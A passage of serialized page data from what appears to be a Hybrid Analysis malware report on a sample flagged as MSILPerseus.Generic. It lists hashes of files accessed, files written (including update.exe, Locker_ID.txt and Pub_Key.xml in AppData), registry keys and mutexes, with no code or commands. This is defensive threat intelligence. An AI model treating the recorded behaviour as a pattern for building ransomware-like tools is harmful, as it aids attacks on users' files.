detected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"GoogleCrashHandler.exe","sha256":"4939094e3a9d55f3953ce412a9a32de5e71a2962ba7c277c344c29912f57b0d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"shvlzm.exe","sha256":"03dc8839213f1e08b4e0ea2cf2fc011f7ce4c0563b867a44fd804a6e6a879a73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"SciTE.exe","sha256":"c4757d99eaa46a92a947367f62389bb8e6c72e5b740ec711191fe1a60db48015","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"kd.exe","sha256":"ca1ffaffcc0c144555a7d2e59c943d899c54114931b7f5d68316e4b083cda7c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"{BB2EB1B5-D9EF-46E4-B054-6C4146429B56}-GoogleUpdateSetup.exe","sha256":"b6acebffed5ed4fad34a12a1190814646c9710607754d5dda0c77bf94c516279","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Pitchbook.potx","sha256":"024423568e28e8057275b73d1052b80878357ffdeece1eb8690818e4da8bef1c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"PersonalMonthlyBudget.xltx","sha256":"ed35c92166043644dd2dbbc5dad974ecf29db1a76dc830da465b1b4a2ee3e306","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"jaccess.jar","sha256":"0376057332648bfff28c1cb1c8535b7f66c1f83b45cfebef081895e13b03df7a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Building Blocks.dotx","sha256":"780161a35218367e5fe7eae5661a53f5402b1a8fbb227dd503ce07840f7624bb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Au3Record.exe","sha256":"f776149c30f28dad3a7162bb053e3421e12b8288d30867025fbe508b7babf351","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"SDMC.exe","sha256":"732b9a0c48e980b032a28031c93938d4dd80adb8d52aa03ccb641d8176db1682","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"klist.exe","sha256":"5aa8b9119c607c0976df1c049096411e7094c501ce24bd026ec9053a30ba5af4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"access-bridge.jar","sha256":"82617aae8d05b0b3424d10c1b031667237ade3ebc49185589bfb4b642c60d5fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AxImp.exe","sha256":"bcc95606aa410eabfedbb3fb7d0ffd3d62ee3b9892dcee487a0a59e482a7ab29","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"reader_sl.exe","sha256":"31a8d141a87652c91d227cbfa7dc1a3f07480f4c405a5537984f5f1402f2a1ad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"contoso.cer","sha256":"6e426f4751280d513a4fd740e0c647e1a7ad92b423c53d03590f158dd051e341","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"java-rmi.exe","sha256":"d51188bcf9318b1bf9bce3eb3fdcbbe0b985a2540923377f0aea780b69fef0b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"pvk2pfx.exe","sha256":"f5324fca58f87f89d478ba7894a965f35e3db4f495cd345cf40750168f6494c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"javacpl.exe","sha256":"9295224223192c73f7e95b13e680326a123727471b723528d8caacc00e58d80b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"rmid.exe","sha256":"69756a7d2d6c393ff23a1e195e0707a188cb890693f6496b8ad37c7e95ea8b29","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AcroRd32Info.exe","sha256":"220bb18d3001acfc214ff7b9e0875ffb1b4557a2328394a1419d3345e73df039","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"GoogleUpdateCore.exe","sha256":"8307b00050b3f2dc4b98ea27b417866bef2b9dddbf40abc91aaf507975fe4cdd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ia64kd.exe","sha256":"fba230362dde5ac7d0fd7e62d697f05121d2bbdbb8c0c4cc6ea889d2db61a72f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"CorFlags.exe","sha256":"9dfc1025d8319c1d0ba29ad09b89a20dc33d0a88baf747df0352a9dc5d0ef171","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"GoogleUpdateComRegisterShell64.exe","sha256":"4cab7f7183b0526c4aa97433947b031524df0b89b2c1fb61c56d65deddb4092f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"GoogleUpdateBroker.exe","sha256":"ace30aa4ef6e60ce21e00dfcd4441fff3e6f36f5e3d4b5c224a0e40ccb2c49de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ODeploy.exe","sha256":"63bcac7e1d8a9718f3b631ffe85dc568e65a173c20ccf93f92a14434d59daff7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"AdobeARMHelper.exe","sha256":"fc80dc5acbb87a4dc17922e85679403df8f2379ae52b6927a1c5b927901dafa7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"keytool.exe","sha256":"43974946d9c0de1dd0a41a96e7ebb6c1bf1ad54ba34079721df9f84296f9aa96","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"disco.exe","sha256":"500039637e610859905fffa6f8aa4f1faa3eabdb6558893b542dd501d28916a0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"mt.exe","sha256":"0d2ce62b5b395673e1a364b5c3cbb8cb1373a8ec98a555d9e561aa30d669c4b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"nashorn.jar","sha256":"e52b4cc8df03a32e3185a22372535a6d38a3cc6b3260bde7099247f7417b27c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Classic.dotx","sha256":"64ea7cf63a0a96a4c81189c64affd0df0133589596cdb191216d328be7e84930","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"sgen.exe","sha256":"833afc140033ef6f999dd01362abc9b02fb8d1ea857089521ac3232d0dec8894","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"rmiregistry.exe","sha256":"59340c7d194f7a2a3510e261bc27727f200962053231637c51da1ce7dc55361e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"srcsrv.doc","sha256":"524cdc65a7fd73a3693f96edc7a314117174325457bc1a3f497d6f371bd8ce53","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"plugin.jar","sha256":"ebb42c4e34a89e9379ca319f55294260af0b93a7da1da820cc650ad6fed4d632","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"list.exe","sha256":"333ea03b1d83b3b87f6ee87ab839efb20cc2786f2cec6fd0fe1aa1030e881936","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"isXPS.exe","sha256":"24676f3f2bbf07c352197ad67d0cfdf23e10831cfbab3c6d71cf53bc563a7200","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"_Excel4.xls","sha256":"1b0b2c12bcbe7f00eacca1e99b6fe1f2e89b2dcb5b5e1eb7f81bb783d2991737","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"ProjectStatusReport.potx","sha256":"ac008a41eb19cd418eadb0c1649cfc7359791176b1163ce417857196a7b65602","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Mdbg.exe","sha256":"b8d1af52589e905faf800cc8c226f0421ff2be7e6670c5fcb21fe99bfe56cbc1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Formal.dotx","sha256":"9e1d63ee10c44e3e9f03ae63eed24da827840ef66ff2376dc4ab3af7403e3130","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Built-In Building Blocks.dotx","sha256":"dc3e73a343de4552ac6479a82cc33cb9992675e973257a20ab99d95f1607e83a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"GoogleUpdateSetup.exe","sha256":"34b47c3c64f72e84bc09e849f94bf7d19fe018aea81d69be837c41751dad0812","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"gc.exe","sha256":"86b7b909edf9e5e7d7f0b8f23bb0ddfdaf6cd7170b08754698dac09e366f503f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"jaureg.exe","sha256":"3973c6e75356a4123ed574f1d4cb727f6c3d8bcba26f222f79207db9b9395aed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"FxCopSetup.exe","sha256":"d759e507156836ab8cf51383213105ed4e3f92298218e1d3d46c3a55cc3997af","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"jusched.exe","sha256":"79f3849be197fb1158f387b941fa9335c60ebaaa9ceb67d4e82f74f2bb5bef2c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}],"files_written":[{"path":"C:\\2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd.exe.config","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\choice.exe","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\choice.exe.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%APPDATA%\\update.exe.config","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\51e2934144ba15628ba5a31be2dae7dc\\mscorlib.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.Net\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\d1265d6159ea876f9d63ea4c1361b587\\mscorlib.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%APPDATA%\\update.exe","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\8990487b8c05ada1e1febe7dcb6c0410\\System.Windows.Forms.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\24db7e31c7ba5b0e824e2f521c0914bc\\System.Drawing.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System\\250e8e6af918e7ca66787117bc8633e3\\System.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\a28d99c0b82e7decf411fb2587cce83f\\System.Management.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\SortDefault.nlp","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\crypt32.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\7152ca3b4e8d992fb4be5317321c2ee5\\System.Configuration.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\870a651e78e8d414b516df1ecae18884\\System.Xml.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%APPDATA%\\Locker_ID.txt","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%APPDATA%\\Pub_Key.xml","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\PROPSYS.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\75790ba48ebfa82fae7da9a114bc9886\\System.Core.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%APPDATA%\\file_list.txt","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Branding\\Basebrd\\Basebrd.dll","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Branding\\Basebrd\\en-US\\Basebrd.dll.mui","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\UPDATE_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\MutexToEnsureThatOnlyASingleInstanceIsRunningAsAdmin","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"MutexToEnsureThatOnlyASingleInstanceIsRunningAsAdmin","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5908cc85aac2ed7159f73748"}]}]}},"report_ids":{"sandbox_job_ids":["5908cc85aac2ed7159f73748"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious MSILPerseus.Generic Sample 2aa4c7708a49… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 2aa4c7708a49…. Malware family: MSILPerseus.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd"}],["$","meta","4",{"property":"og:title","content":"Malicious MSILPerseus.Generic Sample 2aa4c7708a49… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 2aa4c7708a49…. Malware family: MSILPerseus.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/2aa4c7708a49a6f1f462f96002dd2ce6fd27c7daf69647162116919b2df5abcd"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious MSILPerseus.Generic Sample 2aa4c7708a49… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 2aa4c7708a49…. Malware family: MSILPerseus.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L34","11",{}]]